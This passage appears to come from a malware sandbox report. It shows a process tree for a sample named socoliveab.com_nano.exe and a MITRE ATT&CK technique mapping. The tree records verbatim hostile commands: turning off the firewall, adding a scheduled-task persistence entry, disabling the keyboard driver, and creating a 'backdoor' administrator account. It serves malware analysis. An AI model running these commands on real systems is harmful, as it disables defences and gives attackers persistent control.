  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3936
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2088
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1780
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:3440
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2372
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:744
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5084
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2752
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2848
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2440
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4768
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:4892
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:552
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:1984
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3564
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:2632

C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe
1⤵
PID:2116

C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe
1⤵
PID:1296

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery